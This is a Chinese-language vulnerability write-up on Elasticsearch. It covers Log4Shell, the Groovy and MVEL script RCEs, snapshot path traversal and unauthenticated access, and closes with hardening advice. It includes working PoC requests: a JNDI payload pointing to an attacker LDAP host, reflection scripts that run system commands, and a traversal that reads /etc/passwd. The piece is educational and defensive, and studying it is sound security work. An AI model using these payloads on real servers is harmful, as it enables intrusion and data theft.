elasticsearch
CVE-2021-44228: Log4j2 远程代码执行漏洞 (Log4Shell)
这是近年来影响范围最广的漏洞,ES 核心依赖 Log4j2 进行日志记录,因此深受影响。
-
影响版本:Elasticsearch 5.0.0 - 7.16.0 (及其他使用受影响 Log4j 版本的组件)
-
漏洞原理: Log4j2 提供的
Lookups功能支持 JNDI (Java Naming and Directory Interface) 协议。当日志组件记录一段包含${jndi:ldap://attacker_server/exploit}的字符串时,Log4j2 会主动解析该字符串,连接攻击者控制的 LDAP 服务,下载并执行恶意的.class文件,从而实现 RCE。 -
复现过程 (PoC):
- 准备:攻击者搭建一个恶意的 LDAP 服务(使用工具如 JNDI-Injection-Exploit)。
- 触发:向 ES 发送请求,将 Payload 注入到会被记录到日志的字段中(例如 URL 参数、请求头、或者导致报错的查询语句)。
# 示例:通过导致解析错误的查询触发日志记录 curl -H "Content-Type: application/json" -XPOST 'http://localhost:9200/_search' -d ' { "query": { "match": { "field_name": "${jndi:ldap://攻击者IP:1389/Exploit}" } } }'- 结果:ES 服务器解析日志时触发 JNDI注入,连接 LDAP 并执行命令。
CVE-2015-1427: Groovy 脚本沙箱绕过 RCE
这是 ES 早期最经典的漏洞之一。ES 允许用户在查询中使用脚本(Scripting),早期默认语言是 Groovy。
影响版本:Elasticsearch < 1.3.8, 1.4.0 - 1.4.2
漏洞原理: ES 虽然对 Groovy 脚本实施了沙箱(Sandbox)机制,限制了可以调用的类。但是沙箱过滤不严,攻击者可以通过 Java 的反射机制 (Reflection) 绕过沙箱,获取 Runtime 类并执行系统命令。
复现过程 (PoC): 利用 _search 接口,构造一个包含 malicious script 的 JSON 请求。
POST /_search HTTP/1.1
Host: localhost:9200
Content-Type: application/json
{
"size": 1,
"script_fields": {
"lupin": {
"lang": "groovy",
"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"
}
}
}
解释:这段脚本利用 Math 类作为跳板,反射加载 Runtime,然后执行 id 命令并将结果回显。
CVE-2014-3120: MVEL 动态脚本 RCE
在 Groovy 之前,ES 使用 MVEL 作为默认脚本语言,且未开启沙箱。
- 影响版本:Elasticsearch < 1.2.0
- 漏洞原理: 早期版本默认开启了动态脚本执行功能(
script.disable_dynamic: false),且 MVEL 语言可以直接执行 Java 代码。攻击者可以直接调用java.lang.Runtime。 - 复现过程 (PoC):
POST /_search HTTP/1.1
Host: localhost:9200
Content-Type: application/json
{
"size": 1,
"query": {
"filtered": {
"query": { "match_all": {}},
"filter": {
"script": {
"script": "import java.util.*;\nimport java.io.*;\nnew java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
}
}
CVE-2015-5531: 目录遍历/任意文件读取
除了 RCE,文件读取漏洞也十分危险。
-
影响版本:Elasticsearch < 1.6.1
-
漏洞原理: 该漏洞存在于 ES 的快照(Snapshot)API 中。在创建快照仓库时,程序没有对传入的路径参数进行严格的过滤。攻击者可以注册一个文件系统仓库,并利用
..符号跳转目录,读取系统敏感文件。 -
复现过程:
- 新建仓库:
PUT /_snapshot/test_repo { "type": "fs", "settings": { "location": "/usr/share/elasticsearch/repo/../../../../../../etc/passwd" } }- 利用报错读取: 由于直接读取可能会失败,攻击者通常利用 snapshot 恢复过程中的报错信息来获取文件内容,或者通过特定的 API 访问仓库状态来读取。
未授权访问 (Misconfiguration)
这不是一个具体的 CVE,但却是 ES 历史上导致数据泄露最主要的原因。
- 原理: 在 ES 6.8 和 7.1 之前,X-Pack Security(鉴权插件)是收费的,或者默认是不开启的。这导致大量 ES 实例直接暴露在公网(0.0.0.0:9200),任何人都可以进行增删改查。
- 检测方式: 直接访问 IP:9200,如果无需密码直接返回 JSON 信息,即存在漏洞。
curl http://target-ip:9200/_cat/indices?v
# 如果列出了索引,说明数据已泄露
攻击者通常会运行脚本删除数据,并创建一个叫 meow 或 read_me 的索引索要比特币。
防御
版本升级:尽可能使用最新的稳定版(8.x)。新版本默认开启 Security(SSL + 密码验证)。
禁止公网暴露:
- 不要将 9200/9300 端口直接暴露在公网。
- 使用防火墙或云安全组限制访问 IP。
开启身份验证:
- 配置
xpack.security.enabled: true。 - 使用 Kibana 配置强密码。
限制脚本能力:
- 在
elasticsearch.yml中严格限制脚本的使用:script.allowed_types: none或仅允许painless(ES 专门开发的安全脚本语言)。
以低权限运行:永远不要用 root 用户启动 Elasticsearch。

浙公网安备 33010602011771号